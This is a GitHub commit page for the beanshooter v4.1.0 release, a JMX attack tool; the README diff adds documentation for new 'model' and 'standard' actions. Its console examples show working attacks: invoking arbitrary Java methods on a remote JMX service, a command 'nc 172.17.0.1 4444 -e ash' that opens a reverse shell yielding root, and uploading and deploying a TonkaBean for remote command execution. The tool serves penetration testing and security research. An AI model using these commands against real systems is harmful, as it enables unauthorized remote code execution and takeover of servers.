Skip to content

Commit

Permalink
Merge pull request #30 from qtc-de/develop
Browse files Browse the repository at this point in the history
Prepare v4.1.0 Release
  • Loading branch information
qtc-de authored Mar 20, 2023
2 parents 5171d8a + 264140a commit fd37fa7
Show file tree
Hide file tree
Showing 38 changed files with 1,402 additions and 140 deletions.
12 changes: 12 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,18 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).


## [4.1.0] - Mar 20, 2023

### Added

* Add [model](/#model) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html))
* Add [standard](/#standard) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html))

### Changed

* Improved exception handling


## [4.0.0] - Mar 07, 2023

### Added
Expand Down
2 changes: 1 addition & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ FROM alpine:latest AS jdk-builder
RUN set -ex \
&& apk add --no-cache openjdk11 \
&& /usr/lib/jvm/java-11-openjdk/bin/jlink \
--add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver \
--add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver,java.xml \
--verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk

###########################################
Expand Down
265 changes: 262 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
![](https://github.com/qtc-de/beanshooter/workflows/develop%20maven%20CI/badge.svg?branch=develop)
![](https://img.shields.io/badge/java-8%2b-blue)
[![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/)
[![](https://img.shields.io/badge/version-4.0.0-blue)](https://github.com/qtc-de/beanshooter/releases)
[![](https://img.shields.io/badge/version-4.1.0-blue)](https://github.com/qtc-de/beanshooter/releases)
[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/beanshooter/blob/master/LICENSE)


Expand Down Expand Up @@ -61,8 +61,10 @@ autocompletion.
- [invoke](#invoke)
- [jolokia](#jolokia)
- [list](#list)
- [model](#model)
- [serial](#serial)
- [stager](#stager)
- [standard](#standard)
- [undeploy](#undeploy)
+ [MBean Operations](#mbean-operations)
- [generic](#generic-mbean-operations)
Expand Down Expand Up @@ -449,6 +451,153 @@ The `list` action prints a list of all registered *MBeans* on the remote *JMX* s
[...]
```

#### Model

The `model` action is one of the most powerful *beanshooter* operations and implements a technique
identified by [Markus Wulftange](https://twitter.com/mwulftange) that allows you to invoke arbitrary
*public* and *static* Java methods. Moreover, *public* object methods can also be invoked on a user
created object instance. The only requirements are that the utilized method arguments and the provided
object instance (for *non static* methods) are serializable.

The following listing shows an example usage, where an `File` object is provided as object instance
and the `String[] list()` operation is invoked on it:

```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
```

The `setManagedResource` method is always available and can be used to change the object instance to operate on:

```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
```

When invoking *static* methods, an object instance is also required. However, the actual class of the object instance does
not matter. E.g. if you want to invoke `getProperties()` from `java.lang.System`, you could also use a simple `String`
as object instance. Only the specified class name matters in this case:

```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
```

The `model` action uses reflection to determine available methods on the specified class. If you do not
have the class locally available, you can still use it by specifying available methods via the `--signature`
or `--signature-file` options. That being said, in order to get access to non default classes you need to
provide an object instance that is also not a default class (not present in `rt.jar`). This is required, as
the target class needs to be loaded by the same *ClassLoader* as the provided object instance. For *beanshooters*
*example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present
in `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use
this as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`:

```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
```

If you want to know more about the technique that is implemented by the `model` action, I highly
recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.


#### Serial

The `serial` action can be used to perform deserialization attacks on a *JMX* endpoint. By default, the action
Expand Down Expand Up @@ -520,6 +669,113 @@ the `--class-name`, `--object-name` and `--jar-file` options are required.
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
```

#### Standard

The `standard` action deploys a *StandardMBean* that implements the `TemplateImpl` class to achieve
different targets. This technique was identified by [Markus Wulftange](https://twitter.com/mwulftange)
and *beanshooter* implements it to allow command execution, file upload and *TonkaBean* deployment.

```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
```

Command execution via the `standard` action is blind and you do not receive the output of your command.
Moreover, by default your command is passed to `Runtime.exec(String str)`, which does not support special
shell features. If you want to use shell features, use the `--exec-array` option and specify your command
like this: `'sh -c echo "my cool command" > /tmp/test.txt'`. With `--exec-array`, *beanshooter* splits the
specified command in three parts and passes them to `Runtime.exec(String[] arr)`. However, it is generally
recommended to use the *TonkaBean* deployment for executing commands:

```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
```

The huge advantage compared to the regular `tonka deploy` action is that deployment via the *StandardMBean*
does not require an outbound network connection. If a direct deployment via `standard ... tonka` does not work,
you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and the `file://` protocol:

```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
```

If you want to know more about the technique that is implemented by the `standard` action, I highly
recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.

#### Undeploy

The `undeploy` action removes the *MBean* with the specified `ObjectName` from the *JMX* service:
Expand Down Expand Up @@ -617,6 +873,9 @@ a builtin jar file is available):
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
```

From *beanshooter v4.1.0* on, it is also possible to deploy the *TonkaBean* via the [standard](#standard) action.
Bean deployment via the `standard` action **does not** require outbound network connections from the target server.

#### Generic Export

Sometimes it is not possible to serve an *MBean* implementation using *beanshooters* stager server. A common
Expand Down Expand Up @@ -1274,8 +1533,8 @@ For each release, there is a *normal* and a *slim* version available. Both provi
*beanshooter*, but only the *normal* version ships with [ysoserial](https://github.com/frohoff/ysoserial)
included, resulting in a larger image size:

* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1` - `121MB`
* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1-slim` - `61.9MB`
* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0` - `124MB`
* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim` - `64.8MB`

You can also build the container on your own by running the following commands:

Expand Down
6 changes: 5 additions & 1 deletion beanshooter/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
<parent>
<groupId>de.qtc.beanshooter</groupId>
<artifactId>reactor</artifactId>
<version>4.0.0</version>
<version>4.1.0</version>
</parent>

<artifactId>beanshooter</artifactId>
Expand Down Expand Up @@ -98,12 +98,16 @@
</manifest>
<manifestEntries>
<Add-Opens>
java.base/java.lang
java.base/java.util
java.base/java.lang.reflect
java.base/jdk.internal.misc
java.rmi/java.rmi.server
java.rmi/sun.rmi.server
java.rmi/sun.rmi.transport
java.rmi/sun.rmi.transport.tcp
java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime
java.xml/com.sun.org.apache.xalan.internal.xsltc.trax
</Add-Opens>
</manifestEntries>
</archive>
Expand Down
8 changes: 4 additions & 4 deletions beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java
Original file line number Diff line number Diff line change
Expand Up @@ -234,18 +234,18 @@ public static Object requireOneOf(Option... options)
{
StringBuilder helpString = new StringBuilder();

for( Option option : options ) {

for (Option option : options)
{
if( option.notNull() )
return option.getValue();

helpString.append(option.getName());
helpString.append(", ");
}

helpString.setLength(helpString.length() - 2);
helpString.setLength(helpString.length() - 2);

Logger.resetIndent();
Logger.resetIndent();
Logger.eprintlnMixedYellow("Error: The specified aciton requires one of the", helpString.toString(), "options.");
Utils.exit();

Expand Down
Loading

0 comments on commit fd37fa7

Please sign in to comment.